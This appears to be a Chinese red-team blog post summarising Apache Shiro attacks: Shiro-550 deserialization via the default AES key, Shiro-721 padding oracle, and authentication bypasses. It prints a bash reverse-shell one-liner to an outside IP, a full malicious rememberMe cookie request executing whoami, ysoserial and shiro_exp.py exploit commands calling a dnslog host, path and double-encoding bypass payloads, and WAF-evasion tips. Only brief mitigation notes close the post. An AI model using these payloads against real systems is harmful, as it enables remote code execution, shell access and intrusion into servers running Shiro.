中间件漏洞总结一:Apache Shiro漏洞(全)
这篇系列将分别对Apache shiro、Struts2、Weblogic等常见中间件进行漏洞总结。这里为第一弹。
Apache Shiro作为小攻防,打红队,等等场景下,是最容易出成绩的一个组件了。
有了几位大佬的工作,小白也可以简单getshell,写马,连服务器,进行后续一大推操作。
这里要感谢各位大佬的无私奉献。
比如经典的,下面这个就是一个shiro利用工具。
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
参考百度百科快速了解shiro,B站简单介绍
https://baike.baidu.com/item/shiro/17753571
https://www.bilibili.com/video/BV1YW411M7S3
简单来说就是java环境中,存在着大量不同权限的功能,有高级权限,有低级权限,有各种不同的权限。然后我们使用shiro就可以方便的来帮助我们来进行权限管理。
THE SPRING EQUINOX
0x02. 漏洞总结
Apache Shiro是企业常见的JAVA安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RemeberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在调用反序列化的时候未进行任何过滤,导致可以触发远程代码执行漏洞
用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
补充1:序列化
就是将对象转化成字节序列的过程。
(万物皆可对象,为了跨平台存储,和进行网络传输。对象可以是json、字符串等,比如json字符串传输时候,通过fastjson解析,出来了问题,我们就形成了fastjson反序列漏洞)
补充2:反序列化:
反序列化:就是将字节序列转化成对象的过程。
补充3:AES加密
AES为最常见的对称加密算法,是对称加密算法。具体的加密流程如下图:
这里我简单画了一个简图,很清晰的描述了过程
由于使用了AES加密,要想成功利用漏洞则需要获取AES的加密密钥,而在shiro1.2.4之前版本中使用的是硬编码,AES加密的密钥默认在代码里。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA== ,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
目前已经更新了很多版本,但是官方并没有把反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用固定的编码,也有很多开源项目内部集成了shiro并二次开发,可能会重现低版本shiro的默认固定密钥的风险。
例如Guns开源框架内部集成了shiro并进行二次开发,作者自定义密钥并固定,此时用户如果不对密钥进行修改,即使升级shiro版本,也依旧存在固定密钥的风险。这里可以通过搜索引擎和github来收集密钥,提高漏洞检测和利用的成功率。
如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
在请求包的Cookie中为?remeberMe字段赋任意值
返回包中存在set-Cookie:remeberMe=deleteMe
URL中有shiro字样
有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可
(CVE-2016-4437 shiro550)Apache Shiro _=1.2.4 反序列化漏洞
(CVE-2016-4437 shiro550)Apache Shiro _=1.2.4 反序列化漏洞
漏洞环境
漏洞环境
vulhub
复现
复现
1.shiro检测
使用burp被动监听
https://github.com/amad3u4/ShiroScanner/releases
反弹shell用这个(推荐)
bash -c 'exec bash -i &>/dev/tcp/192.168.1.134/8080 <&1'
简单分析
我们来看一下步骤,
1检测出当前密钥(判断是否有shiro)
2爆破密钥(是否使用默认密钥)
3爆破利用链
第一步:判断shiro,添加 Cookie: rememberMe=yes
,如果响应有Set-Cookie: rememberMe=deleteMe
,则使用了shiro
第二步:爆破密钥
这个是爆破失败的
登录成功的
第三步:爆破攻击链
第四步:执行命令
我们发送到repeater开看
GET /login;jsessionid=2F869A9EC5207AA98F95535639793509 HTTP/1.1
Cookie: rememberMe=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
Authorization: Basic d2hvYW1p
Accept: text/html,application/json,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Host: 192.168.1.21:8080
Connection: close
可以看到Authorization: Basic d2hvYW1p
,为base64编码后的whoami
执行了。
绕过
修改非正常http请求,讲get请求为post、xxx均可执行(还可以混淆大小写)
为什么xxx也可以执行?
就是在Filter和Listener层出现的漏洞,可以利用
note:还有一个坑点,插入脏数据来绕waf。
这个后面来补吧
感兴趣的话,可以先看下大佬实现的。
https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/
Apache Shiro RememberMe Cookie默认通过AES-128-CBC
模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击)
,利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击.
https://github.com/inspiringz/Shiro-721
登录网站(勾选Remember),并从Cookie中获取合法的RememberMe。
使用RememberMe cookie作为Padding Oracle Attack(Oracle和数据库的Oracle没关系,不是一个东西)的前缀。
加密 ysoserial 的序列化 payload,以通过Padding Oracle Attack制作恶意RememberMe。
重放恶意RememberMe cookie,以执行反序列化攻击。
第一步:登录,获取cookie
第二步:使用Java反序列化工具 ysoserial 生成 Payload:
java -jar ysoserial.jar CommonsBeanutils1 "ping xxx.ceye.io" > payload.class
第三步:通过 Padding Oracle Attack 生成 Evil Rememberme cookie(时间比较长,10分钟吧)
python2 shiro_exp.py http://192.168.1.21:8080/ OWs1pi2pN9iqRumgKaeOIqUsrva+srDp1T2UhZejC79chf6T7Q0R/iyJWru2PC5lvppbMwB8oLc4PcDW9cMwHuKIWVl/hDqy7BQ1Vwj/xIw31dgAbVQda7eD17/gZHK9H0JR922CemregotPBhyAiNnQv2ln5krVzM4XQsTkB4X5mOFu/KWl1J924/bD6jukS2ZY4z1lgXQGHgBFWUnHzNZ0FnuxASmb3v7lOIgT+G5UTyzM/E6cfgnFuL8GVgBrN5yZSWeMMWU0uYMzT3B77kIZj2z6xq2SfOA/pdPVa8I0ZeNx0cwgk3m8SDXES7DXDihKM3GSMSuCxWqtLO9ob3QLT7kdEr+zQRDekz2BIPnokkYQzCfe5i42H6Na+gQQPGVxuY2optpYOkS9GyAuoYiFzuYogbe2h+feOKY9unCjlzxhh8r+cBSu8pIiSb+pO/OMGAQmkDqhbO3H8GwjMLmvF1qi+jn5S0bdlQA2jBPUFV0G5tzffYx+riBWERYH payload.class
第四步:使用Evil Rememberme cookie 认证进行反序列化攻击:
第四步:dnslog平台接收到响应。
(感觉,不适用,这个能getshell的,目前550的工具也能用,过程参考上一个小节)
Apache Shiro 1.5.2之前版本中存在安全漏洞。
攻击者可借助特制的请求利用该漏洞绕过身份验证。
1. 访问/hello/1接口,可以看到被authc拦截器拦截了,将会跳转到登录接口进行登录。
2.访问/hello/1/接口,成功绕过authc拦截器,获取到了资源。
3.绕过:payload, /fdsf;/../hello/1,成功绕过。
场景是使用双编码绕过认证。
如果你请求 /hello/aaa
那么你将会被禁止。
但是这里我们可以通过url双编码来绕过。
/ -> %2f ->%25%32%66
GET /hello/a%25%32%66a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: close
Upgrade-Insecure-Requests: 1
http://www.liuhaihua.cn/archives/694110.html
springboot对url的处理和shiro的处理不一致导致的认证绕过
需要访问某些认证东西
原本需要认证的test/{name}可以访问到了,使用%3b绕过
(%3b 是(;)分号)
https://www.anquanke.com/post/id/214964#h2-2
主要看550的调试分析过程,过程可以参考下面
https://ccship.cn/2021/11/26/155/
后面我们编写shrio、fastjson、thinkPHP的Burpsuite插件,再来说。
升级Shiro到最新版本
WAF拦截Cookie中长度过大的rememberMe值
在代码中全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,不要使用公开的密钥。
THE SPRING EQUINOX
0x06. 参考文章
https://www.freebuf.com/vuls/283810.html
https://blog.csdn.net/qq_28205153/article/details/55798628
https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/
http://www.liuhaihua.cn/archives/694110.html
https://github.com/inspiringz/Shiro-721
https://ccship.cn/2021/11/26/155/